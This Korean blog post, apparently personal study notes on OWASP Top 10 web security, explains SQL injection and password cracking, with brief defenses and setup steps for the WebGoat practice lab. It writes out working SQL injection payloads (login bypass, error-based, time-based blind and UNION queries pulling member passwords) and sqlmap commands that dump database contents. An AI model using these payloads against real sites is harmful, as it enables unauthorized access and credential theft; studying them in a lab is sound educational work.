본문 바로가기
클라우드 아키텍처 설계 기초지식/08 웹 보안

웹보안 (1) - 인젝션,크래킹

by Jasie 2018. 10. 29.

OWASP TOP 10 2017을 기반으로 최근 보안 취약점 분석




빅데이터 인공지능 openstack ssl 해킹

  • 인젝션 (현재 웹페이지는 이 공격은 다 막혀있고 보면된다, 공격시도 조차 불법임)


(1) SQL 인젝션 

    공격자는 웹 서버와 통신할 때 주고받는 데이터에 여러 종류의 SQL쿼리를 담아서 공격.


    SQL쿼리를 데이터로 받은 서버는 원래의 동작대로 동작하지 않고 

    예상하지 않은 결과가 발생할 수 있다.


  a) Bypass SQL 인젝션

            정상적인 웹 서버에서는 클라이언트로부터 ID와 PW를 입력받아 해당 정보를 가지고 DB 서버에서 데이터를 조회한다.

      일치하는 정보가 있으면 정상적으로 로그인을, 일치하지 않으면 에러 메시지를 출력해준다. 하지만

    이 때 해커는 DB 서버에서 실행될 SQL 쿼리문을 예측하여 내부적으로 비정상적인 쿼리문이 실행되게 ID 또는 PW에 

       SQL 쿼리문을 입력한다.

       대표적으로 1' or '1'='1'--가 있다. * --(오라클, MSSQL에서 주석) ##(MySQL에서 주석)


방어법

  DB에서 사용되는 특수문자는 데이터로 입력할 수 없게 서버에서 설정, replace()함수 사용(변수,'원본','수정')


 b) Blind SQL 인젝션(Error-Based)

웹서버에게 데이터를 전송할 때 일부러 에러가 발생하는 쿼리문을 입력한다. 에러 페이지가 따로 설정되어 있지 않는

  웹 서버의 경우 DB 정보가 그대로 노출될 수 있다.

블라인드 SQL 인젝션은 이러한 서버로부터 에러 정보에 들어있는 DB 정보를 수집하는 기술이다.


EX) 잘못된 쿼리문 입력 : 

1' having 1=1--   테이블 이름, 첫번째 칼럼 이름

1' group by [알아낸 칼럼 이름] having 1=1-- 두번째 칼럼 이름

1' group by [알아낸 칼럼 이름], [알아낸 칼럼 이름] having 1=1-- 세번째 칼럼 이름


 c) Blind SQL 인젝션(Time-Based)

waitfor와 같은 SQL서버에서 사용가능한 내부 함수를 이용하여 테이블과 칼럼 정보를 알아내는 공격 기법


http://[서버IP]/board_view.asp?num=1;if%20ascii(substring((select%20top%201%20bid%20from%20member),2,1))=100%20waitfor%20delay%20%2700:00:05%27--

if ascii(substring((select top 1 bid from member),2,1))=100 waitfor delay '00:00:05'--


- 주소 뒤에 SQL문을 작성한 모습



      d) UNION SQL 인젝션

1' UNION SELECT idx, bname, bid, bpass, NULL,NULL,NULL from member --


      e) 자동화 도구(sqlmap, 하비지 등)

  sqlmap -u [공격 URL] -D [DB명]  --tables // 테이블명 알아내기

sqlmap -u [공격 URL] --dbs // 단, 공격 URL은 GET방식으로 데이터를 전달하는 주소일 것,

  DBMS 종류 및 DB 이름 알아내기

- 데이터 베이스 정보가 나옴


sqlmap -u [공격 URL] -D [DB명] -T [테이블명]  --columns // 테이블의 칼럼명 알아내기


sqlmap -u [공격 URL] -D [DB명] -T [테이블명]  -C [칼럼명] --dump // 데이터 알아내기

      f) 피해사례

        https://www.huffingtonpost.kr/pakghun/story_b_8354740.html

      g) SQL Injection 보안

        DB에서 사용되는 특수문자는 데이터로 입력할 수 없게 서버에서 설정, replace()함수 사용(변수,'원본','수정')



  • 취약한 인증

(1) 패스워드 크래킹 ( 효율성이없어서 실습방법은 안썻음 )

    a) 브루트 포스 (무차별 대입) 공격 

이 세상에서 조합 가능한 모든 문자를 입력(대문자, 소문자, 숫자, 특수문자)


    b) 딕셔너리 (사전 대입) 공격 

일반적으로 사람들이 패스워드에 많이 사용하는 문자를 미리 사전 파일로 만들어두고 대입

    c) 레인보우 테이블 공격

패스워드를 입력하고 해당 패스워드를 실제 저장된 패스워드와 비교하기 위해 필요한 여러 과정을 미리 수행하여 

결과값을 저장한 파일을 이용한다.

 (2) 피해사례

https://www.clien.net/service/board/news/6448430?

 (3) 보안

 패스워드 정책을 적용, 몇 회 이상 틀리면 계정을 잠금, 대소문자 숫자 특수문자 사용, 패스워드 8자리 이상, 일정 기간마다 변경


  • 웹 보안 실습 환경 만들어 문제풀기 (본체PC에서 실행한다)

1. https://github.com/WebGoat/WebGoat


2. webgoat-server-8.0.0.M21가 설치된곳에서 [2-1] 명령어를 실행한다

2-1. java -jar webgoat-server-8.0.0.VERSION.jar [--server.port=8080] [--server.address=localhost] 

2-2. java --add-modules java.xml.bind -jar webgoat-server-8.0.0.VERSION.jar [--server.port=8080] [--server.address=localhost]

ex) java --add-modules java.xml.bind -jar webgoat-server-8.0.0.M21.jar --server.port=4321 --server.address=localhost

3. 실행되면 웹 브라우져에서 http://[서버IP]:[서버포트]/WebGoat/login 가서 가입하고 진행 




공감() 과 댓글은 필자에게 큰 힘이 됩니다.

잠시 1초만 내주시면 안될까요? ~~


로그인 없이도 가능합니당 



댓글